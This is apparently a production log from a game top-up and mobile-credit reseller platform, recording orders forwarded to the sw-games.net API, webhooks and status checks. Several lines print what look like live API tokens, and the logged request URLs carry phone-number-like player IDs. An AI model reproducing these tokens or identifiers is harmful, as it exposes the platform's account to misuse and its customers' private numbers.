[2026-03-24 15:12:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"count":2} 
[2026-03-24 15:12:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"count":2} 
[2026-03-24 15:12:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"user_id":315,"notification_type":"order_approved","reference_id":178811} 
[2026-03-24 15:12:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"user_id":315,"notification_type":"order_approved","reference_id":178815} 
[2026-03-24 15:12:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:12:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:12:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"processed":2,"errors":0} 
[2026-03-24 15:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734,"processed":2,"errors":0} 
[2026-03-24 15:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"w5USEtk4M9Cd1F9Y6Vm1gY9KkosVbqiS","execution_time":"2026-03-24 15:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylG3nJ-1774354298","operation_id":163734} 
[2026-03-24 15:12:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 15:12:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 15:12:17] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"request_rejected","reference_id":18634} 
[2026-03-24 15:12:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 15:12:20] production.INFO: Constructing job for order: 178816  
[2026-03-24 15:12:23] production.INFO: Handling job for order: 178816  
[2026-03-24 15:12:23] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:12:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:12:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/35/params?qty=1&uuid=8151ca77-2107-44ac-9287-e9f05a7f9563&Player_ID=0981920162  
[2026-03-24 15:12:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/35/params?qty=1&uuid=8151ca77-2107-44ac-9287-e9f05a7f9563&Player_ID=0981920162","has_body":false} 
[2026-03-24 15:12:23] production.INFO: Operation sent successfully {"operation_id":163735,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RKSND-1774354343","amount":55.807940000000002100932761095464229583740234375,"status":"processing","product":"52.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 15:12:23"}},"processed_data":{"order_number":"ORD-RKSND-1774354343","amount":55.807940000000002100932761095464229583740234375,"status":"processing","product":"52.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 15:12:35] production.INFO: SendAcceptReject: Notification queued {"user_id":44,"notification_type":"request_approved","reference_id":18636} 
[2026-03-24 15:12:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 44  
[2026-03-24 15:12:53] production.INFO: SendAcceptReject: Notification queued {"user_id":1461,"notification_type":"request_approved","reference_id":18637} 
[2026-03-24 15:12:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1461  
[2026-03-24 15:13:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1071,"notification_type":"request_approved","reference_id":18638} 
[2026-03-24 15:13:05] production.INFO: Constructing job for order: 178817  
[2026-03-24 15:13:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 15:13:06] production.INFO: Handling job for order: 178817  
[2026-03-24 15:13:06] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:13:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:13:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=1b0c5355-3cd6-4b43-a829-2a1b98873e13&Player_ID=0932806979  
[2026-03-24 15:13:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=1b0c5355-3cd6-4b43-a829-2a1b98873e13&Player_ID=0932806979","has_body":false} 
[2026-03-24 15:13:06] production.INFO: Operation sent successfully {"operation_id":163736,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HW6nX-1774354386","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 15:13:06"}},"processed_data":{"order_number":"ORD-HW6nX-1774354386","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 15:14:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03"} 
[2026-03-24 15:14:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","total_operations":4,"sites_count":1} 
[2026-03-24 15:14:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","orders_count":4,"order_ids":["ORD-l3ngC-1774353257","ORD-gInS-1774354295","ORD-RKSND-1774354343","ORD-HW6nX-1774354386"]} 
[2026-03-24 15:14:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:14:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 15:14:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:14:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"processed":3,"skipped":1,"updates_prepared":3} 
[2026-03-24 15:14:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 15:14:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"count":3} 
[2026-03-24 15:14:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"count":3} 
[2026-03-24 15:14:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"user_id":315,"notification_type":"order_approved","reference_id":178814} 
[2026-03-24 15:14:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"user_id":1551,"notification_type":"order_approved","reference_id":178817} 
[2026-03-24 15:14:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"user_id":315,"notification_type":"order_approved","reference_id":178816} 
[2026-03-24 15:14:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:14:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:14:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"processed":3,"errors":0} 
[2026-03-24 15:14:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735,"processed":3,"errors":0} 
[2026-03-24 15:14:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"k7oW2usU5qYUQ4WK6mvYiQrNFMVMp8C2","execution_time":"2026-03-24 15:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RKSND-1774354343","operation_id":163735} 
[2026-03-24 15:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 15:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 15:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 15:14:17] production.INFO: Constructing job for order: 178818  
[2026-03-24 15:14:19] production.INFO: Handling job for order: 178818  
[2026-03-24 15:14:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:14:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:14:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=86a4e34f-b4fe-4d34-8f34-9567fd74ecdb&Player_ID=6115139035  
[2026-03-24 15:14:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=86a4e34f-b4fe-4d34-8f34-9567fd74ecdb&Player_ID=6115139035","has_body":false} 
[2026-03-24 15:14:19] production.INFO: Operation sent successfully {"operation_id":163737,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-JJuuKW-1774354459","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:14:19"}},"processed_data":{"order_number":"ORD-JJuuKW-1774354459","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:14:44] production.INFO: Constructing job for order: 178819  
[2026-03-24 15:14:46] production.INFO: Handling job for order: 178819  
[2026-03-24 15:14:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:14:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:14:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=474e724d-c608-4a3f-8366-10578dd66c34&Player_ID=52061657029  
[2026-03-24 15:14:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=474e724d-c608-4a3f-8366-10578dd66c34&Player_ID=52061657029","has_body":false} 
[2026-03-24 15:14:47] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-JJuuKW-1774354459","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:14:47] production.INFO: Processed webhook data (normalized) {"id":"ORD-JJuuKW-1774354459","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:14:47] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:14:47] production.INFO: SendAcceptReject: Notification queued {"user_id":418,"notification_type":"order_approved","reference_id":178818} 
[2026-03-24 15:14:47] production.INFO: Order updated successfully. Order ID: 178818, Status: completed  
[2026-03-24 15:14:47] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-JJuuKW-1774354459","status":"completed","codes_count":0} 
[2026-03-24 15:14:47] production.INFO: Operation sent successfully {"operation_id":163738,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UaziG4m-1774354487","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:14:47"}},"processed_data":{"order_number":"ORD-UaziG4m-1774354487","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:14:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 418  
[2026-03-24 15:14:48] production.INFO: Constructing job for order: 178820  
[2026-03-24 15:14:50] production.INFO: Handling job for order: 178820  
[2026-03-24 15:14:50] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:14:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:14:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=e370a784-f1a8-48fe-91cb-9a84b9bc9163&Player_ID=0968328331  
[2026-03-24 15:14:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=e370a784-f1a8-48fe-91cb-9a84b9bc9163&Player_ID=0968328331","has_body":false} 
[2026-03-24 15:14:51] production.INFO: Operation sent successfully {"operation_id":163739,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YgLqk0-1774354491","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 15:14:51"}},"processed_data":{"order_number":"ORD-YgLqk0-1774354491","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 15:15:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-UaziG4m-1774354487","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:15:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-UaziG4m-1774354487","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:15:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:15:02] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":178819} 
[2026-03-24 15:15:02] production.INFO: Order updated successfully. Order ID: 178819, Status: completed  
[2026-03-24 15:15:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-UaziG4m-1774354487","status":"completed","codes_count":0} 
[2026-03-24 15:15:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:15:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:15:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:15:05] production.INFO: async() رجع: true  
[2026-03-24 15:15:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:15:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:15:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:15:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:15:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:15:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:15:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:15:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:15:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:15:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:15:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:15:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 15:15:12] production.INFO: Constructing job for order: 178821  
[2026-03-24 15:15:13] production.INFO: Handling job for order: 178821  
[2026-03-24 15:15:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:15:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:15:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=5ef66040-a321-44f4-8d14-61a4da8da528&Player_ID=52191628233  
[2026-03-24 15:15:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=5ef66040-a321-44f4-8d14-61a4da8da528&Player_ID=52191628233","has_body":false} 
[2026-03-24 15:15:14] production.INFO: Operation sent successfully {"operation_id":163740,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-OoP-1774354513","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:15:14"}},"processed_data":{"order_number":"ORD-OoP-1774354513","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 15:15:18] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 15:15:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 646  
[2026-03-24 15:15:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1747  
[2026-03-24 15:15:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-OoP-1774354513","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:15:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-OoP-1774354513","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:15:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:15:41] production.INFO: SendAcceptReject: Notification queued {"user_id":44,"notification_type":"order_approved","reference_id":178821} 
[2026-03-24 15:15:41] production.INFO: Order updated successfully. Order ID: 178821, Status: completed  
[2026-03-24 15:15:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-OoP-1774354513","status":"completed","codes_count":0} 
[2026-03-24 15:15:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 44  
[2026-03-24 15:15:55] production.INFO: Constructing job for order: 178822  
[2026-03-24 15:15:56] production.INFO: Handling job for order: 178822  
[2026-03-24 15:15:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:15:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:15:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=c6a15429-f1dc-430b-9c5d-32ac4a263cfe&Player_ID=1949829081  
[2026-03-24 15:15:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=c6a15429-f1dc-430b-9c5d-32ac4a263cfe&Player_ID=1949829081","has_body":false} 
[2026-03-24 15:15:56] production.INFO: Operation sent successfully {"operation_id":163741,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iW2LlitE-1774354556","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 15:15:56"}},"processed_data":{"order_number":"ORD-iW2LlitE-1774354556","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 15:15:59] production.INFO: Constructing job for order: 178823  
[2026-03-24 15:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02"} 
[2026-03-24 15:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","total_operations":3,"sites_count":2} 
[2026-03-24 15:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-l3ngC-1774353257","ORD-YgLqk0-1774354491"]} 
[2026-03-24 15:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:16:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iW2LlitE-1774354556","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 15:16:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-iW2LlitE-1774354556","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 15:16:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:16:03] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":178822} 
[2026-03-24 15:16:03] production.INFO: Order updated successfully. Order ID: 178822, Status: completed  
[2026-03-24 15:16:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iW2LlitE-1774354556","status":"completed","codes_count":0} 
[2026-03-24 15:16:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 15:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:16:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 15:16:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 15:16:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"count":1} 
[2026-03-24 15:16:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"count":1} 
[2026-03-24 15:16:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"user_id":1071,"notification_type":"order_approved","reference_id":178820} 
[2026-03-24 15:16:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:16:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:16:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"processed":1,"errors":0} 
[2026-03-24 15:16:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"processed":1,"errors":0} 
